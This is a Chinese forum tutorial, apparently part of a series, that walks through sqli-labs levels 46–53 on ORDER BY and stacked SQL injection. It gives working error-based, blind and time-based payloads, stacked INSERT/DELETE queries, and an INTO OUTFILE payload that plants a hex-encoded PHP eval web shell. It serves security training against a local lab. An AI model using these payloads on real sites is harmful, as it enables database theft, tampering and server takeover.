用户
搜索
  • TA的每日心情
    开心
    6 小时前
  • 签到天数: 193 天

    连续签到: 2 天

    [LV.7]常住居民III

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    63

    主题

    127

    帖子

    3258

    魔法币
    收听
    0
    粉丝
    8
    注册时间
    2020-10-2

    积极活跃奖

    发表于 2021-8-4 18:57:41 01529
    本帖最后由 Johnson666 于 2021-8-5 16:33 编辑

    sqli-labs学习sql注入——排序注入和排序堆叠注入篇

    本篇文章作者Johnson666,本篇文章参与i春秋作家连载计划所属从0到1团队,未经许可禁止转载。连载方向:web安全,内网安全

    目录

    1.sqli-labs学习sql注入——MySQL注入相关知识点+联合注入篇

    2.sqli-labs学习sql注入——GET和POST盲注篇+sql传马篇+增删改注入篇

    3.sqli-labs学习sql注入——绕过篇

    4.sqli-labs学习sql注入——HTTP头部注入篇

    5.sqli-labs学习sql注入——宽字节注入篇

    6.sqli-labs学习sql注入——堆叠注入篇

    7.sqli-labs学习sql注入——排序注入和排序堆叠注入篇

    8.sqli-labs学习sql注入——最后的挑战

    1.order by后的注入(排序注入)的知识点

    从这里开始就要开始讲解order by后的注入以及limit注入。它又叫做排序注入。这里直接和Less-46结合讲解。

    Less-46:基于错误-GET-数字型-排序注入

    这一关开始就是新知识点,order by注入(又叫做排序注入)。这时的sql语句是$sql = "SELECT * FROM users ORDER BY $id";,注入点在order by后面的参数上。

    首先先要尝试输入?sort=1 desc?sort=1 asc(SQL 语句中, asc是指定列按升序排列,desc则是指定列按降序排列),根据是否分别显示降序和升序的表格,可以判断有没有注入点。如果是这样的,说明此处是注入点,即注入点在order by后的参数中,而order by注入不同于之前的在where后的注入,这里不能使用union等进行注入。

    但是我们可利用order by后的一些参数进行注入。

    (1)order by后的数字可以作为一个注入点。也就是构造order by后的一个语句,让该语句执行结果为一个数,我们尝试:http://127.0.0.1/sqli-labs-master/Less-46?sort=left(version(),1),并没有报错,把left()换成right()也是一样的,这说明了数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。此处可以直接构造?sort=后面的一个参数,这里有三种注入形式:

    1、直接添加注入语句,句式:?sort=(sql语句)

    2、利用一些函数。如rand()函数等,句式:?sort=rand(sql语句)

    返回的结果和sql语句的真假有关系。rand(ture)rand(false)的结果是不一样的:

    http://127.0.0.1/sqli-labs-master/Less-46?sort=rand(true)

    rand(false)

    3、利用 and,句式:?sort=1 and (sql语句)。其中的sql语句可以为报错注入和延时注入的方式。

    其中1、和3、并无本质差别。

    1.基于报错注入:

    方式一:floor注入

    库名:

    http://127.0.0.1/sqli-labs-master/Less-46?sort=(select 1 from (select count(*),concat_ws('-',(select database()),floor(rand(0)*2))as a from information_schema.tables group by a) b)

    页面报错:Duplicate entry 'security-1' for key 'group_key'

    还有另外一种写法:

    http://127.0.0.1/sqli-labs-master/Less-46?sort=(select count(*) from information_schema.columns group by concat(0x3a,(select database()),0x3a,floor(rand(0)*2)))

    页面报错:Duplicate entry ':security:1' for key 'group_key'。得到库名

    2.基于布尔型盲注:

    MySQL就像PHP,也是一种弱类型,它会认为true=1false=0
    用在order by后会直接导致显示不同,因为没有第0列:

    ?sort=true

    ?sort=false

    有了显示的不同我们便可以开始盲注,但是在最上面的(1)那里我们已经看到,order by带上返回数字或布尔值(因为是弱类型,布尔值返回仍是数字)的语句是没有作用的。

    所以这里用1、句式:?sort=(sql语句)是不可以盲注的,而1、和3、并无本质差别,所以3、句式:?sort=1 and (sql语句)也不行

    那么这里只能用2、句式:?sort=rand(sql语句)

    http://127.0.0.1/sqli-labs-master/Less-46?sort=rand(ascii(left(database(),1))=115)

    http://127.0.0.1/sqli-labs-master/Less-46?sort=rand(ascii(left(database(),1))=116)

    这两个其中肯定有一个是false的,一个是true的,这里和上面的rand(ture)rand(false)对比结果,可以看出报错注入成功了,即115是true的,116是false的,那么就可以判断出库名的第一个字符为s。

    3.基于延时盲注:

    payload:`http://127.0.0.1/sqli-labs-master/Less-46?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(5))

    延时盲注出了点意外,我这里延时了5秒,可是页面却一直在转圈,最后提示我错误:Fatal error:  Maximum execution time of 30 seconds exceeded in D:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-46\index.php on line 23

    在命令行中执行,这里也出现了意外:

    mysql> select * from users order by if(ascii(mid(database(),1,1))=115,sleep(0.01),0) limit 0,3;
    +----+------------+------------+
    | id | username   | password   |
    +----+------------+------------+
    |  2 | Angelina   | I-kill-you |
    | 10 | admin2     | admin2     |
    | 21 | Johnson666 | hacker     |
    +----+------------+------------+
    3 rows in set (0.32 sec)
    
    mysql> select * from users order by if(ascii(mid(database(),1,1))=115,sleep(1),0) limit 0,3;
    +----+------------+------------+
    | id | username   | password   |
    +----+------------+------------+
    |  2 | Angelina   | I-kill-you |
    | 10 | admin2     | admin2     |
    | 21 | Johnson666 | hacker     |
    +----+------------+------------+
    3 rows in set (18.18 sec)
    
    mysql> select * from users order by if(ascii(mid(database(),1,1))=115,sleep(0.1),0) limit 0,3;
    +----+------------+------------+
    | id | username   | password   |
    +----+------------+------------+
    |  2 | Angelina   | I-kill-you |
    | 10 | admin2     | admin2     |
    | 21 | Johnson666 | hacker     |
    +----+------------+------------+
    3 rows in set (2.01 sec)

    经过查询发现了以下结果:

    添加sleep(N)这个函数后,语句的执行具体会停留多长时间取决于满足条件的记录数,MySQL 会对每条满足条件的记录停留 N 秒钟。

    可以参考这篇文章:关于MySQL的SLEEP(N)函数

    那么这里就能解释为何会如此了:比如命令行中的第二个我延时了1秒,我里面有18条数据,那么最后就是1乘18=18秒,也得算上点其它时间,所以最后执行完的时间是18.18 sec。那么第一条payload我延时5秒,5乘18=90秒,最后执行出来至少得90秒以上了。

    另外的payload:http://127.0.0.1/sqli-labs-master/Less-46?sort=if(ascii(mid(database(),1,1))=115,sleep(0.1),0)

    http://127.0.0.1/sqli-labs-master/Less-46?sort=(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20current)%20as%20tb1)

    4.procedure analyse参数后注入

    利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyseorder by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。

    payload:http://127.0.0.1/sqli-labs-master/Less-46?sort=1%20procedure%20analyse(extractvalue(rand(),concat(0x3a,database())),1)

    结果:XPATH syntax error: ':security',得到库名

    5.into outfile参数导入:

    其中.into outfile需要注意的条件在3.导入导出相关操作的知识点和Less-7中都有提到,需要注意。

    这里我们直接传马:

    http://127.0.0.1/sqli-labs-master/Less-46?sort=1 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php" lines terminated by 0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e。其中lines terminated by将每行以指定字符串结尾:

    0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e = hex(<?php eval($_POST["cmd"]);?>)

    上传成功

    然后便可以用蚁剑等shell管理工具连接马,拿到shell了。

    Less-47:基于错误-GET-字符型-单引号-排序注入

    这一关和Less-46注入方法相同,不过这关是单引号字符型的,有一个单引号需要闭合,

    根据Less-46,我们依旧按照注入的位置进行分类:

    1.基于报错注入:

    http://127.0.0.1/sqli-labs-master/Less-47?sort=1%27 and%20(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20database()),0x3a,0x3a,floor(rand(0)*2)))--+

    结果:

    Duplicate entry '::security::1' for key 'group_key',得出库名

    2.基于布尔型盲注,经过测试该方法在这里不可以使用,不能使用这种方式进行准确的注入。原理是用and rand()连接order by column_name / column_number时返回的不是固定值。

    3.基于延时盲注:

    这里和Less-46的延时盲注方法一样,同样有每条数据sleep一次的问题:

    http://127.0.0.1/sqli-labs-master/Less-47?sort=1' and if(ascii(mid(database(),1,1))=115,sleep(0.5),0)--+

    4.procedure analyse参数后注入

    http://127.0.0.1/sqli-labs-master/Less-47?sort=1%27procedure%20analyse(extractvalue(rand(),concat(0x3a,database())),1)--+

    结果:XPATH syntax error: ':security'

    5.into outfile参数导入:

    和Less-46一样。

    Less-48:基于盲注-GET-数字型-排序注入

    本关与Less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
    可以利用sort=rand(true/false)进行判断。

    http://127.0.0.1/sqli-labs-master/Less-48?sort=rand(ascii(left(database(),1))=115)

    返回和rand(true)一样的界面,说明库名第一个为s

    延时注入:

    http://127.0.0.1/sqli-labs-master/Less-48?sort=if(ascii(mid(database(),1,1))=115,sleep(0.1),0)

    其它不演示了。

    Less-49:基于盲注-GET-字符型-单引号-排序注入

    本关与47关基本类似,区别在于没有错误回显,所以我们可以通过延时注入和导入文件进行注入。

    延时注入:

    http://127.0.0.1/sqli-labs-master/Less-49?sort=1' and if(ascii(mid(database(),1,1))=115,sleep(0.1),0)--+

    http://127.0.0.1/sqli-labs-master/Less-49?sort=1%27%20and%20(If(ascii(substr((select%20username%20from%20users%20where%20id=1),1,1))=69,0,sleep(0.1)))--+

    Less-50:基于错误-GET-数字型-排序堆叠注入

    这一关开始是order by stacked injection,即排序堆叠注入。堆叠注入之前有介绍过,这里就不赘述了,需要注意的是堆叠注入的条件和局限性。

    这里我们上述用到的排序注入的方法依旧是可行的,就搞个报错注入吧:http://127.0.0.1/sqli-labs-master/Less-50/?sort=(select 1 from(select count(*),concat_ws('-',(select database()),floor(rand(0)*2))as a from information_schema.tables group by a) b)

    结果:Duplicate entry 'security-1' for key 'group_key',得到库名

    这里其它的就不重复了,这里就一起来看下排序堆叠注入。

    payload:http://127.0.0.1/sqli-labs-master/Less-50?sort=1;insert into users(id,username,password) values(50,'Less50','Less50')--+

    结果:插入成功

    mysql> select * from users;
    +----+------------+------------+
    | id | username   | password   |
    +----+------------+------------+
    |  1 | Dumb       | Dumb       |
    |  2 | Angelina   | I-kill-you |
    |  3 | Dummy      | p@ssword   |
    |  4 | secure     | crappy     |
    |  5 | stupid     | stupidity  |
    |  6 | superman   | genious    |
    |  7 | batman     | mob!le     |
    |  8 | admin      | admin      |
    |  9 | admin1     | admin1     |
    | 10 | admin2     | admin2     |
    | 11 | admin3     | admin3     |
    | 12 | dhakkan    | dumbo      |
    | 14 | admin4     | admin4     |
    | 15 | admin'#    | 123456     |
    | 50 | Less50     | Less50     |
    | 16 | Johnson666 | hacker     |
    | 17 | Johnson666 | hacker     |
    | 20 | Johnson666 | hacker     |
    | 21 | Johnson666 | hacker     |
    +----+------------+------------+
    19 rows in set (0.04 sec)

    Less-51:基于错误-GET-字符型-单引号-排序堆叠注入

    http://127.0.0.1/sqli-labs-master/Less-51?sort=1';delete from users where id=50;--+

    结果:Less-50插入的数据被删除了

    Less-52:基于布尔型-GET-数字型-盲注-排序堆叠注入

    ?sort=1;insert into users(id,username,password) values(52,'Less52','Less52')--+

    Less-53:基于布尔型-GET-单引号-字符型-盲注-排序堆叠注入

    ?sort=1';insert into users(id,username,password) values(53,'Less53','Less53')--+

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册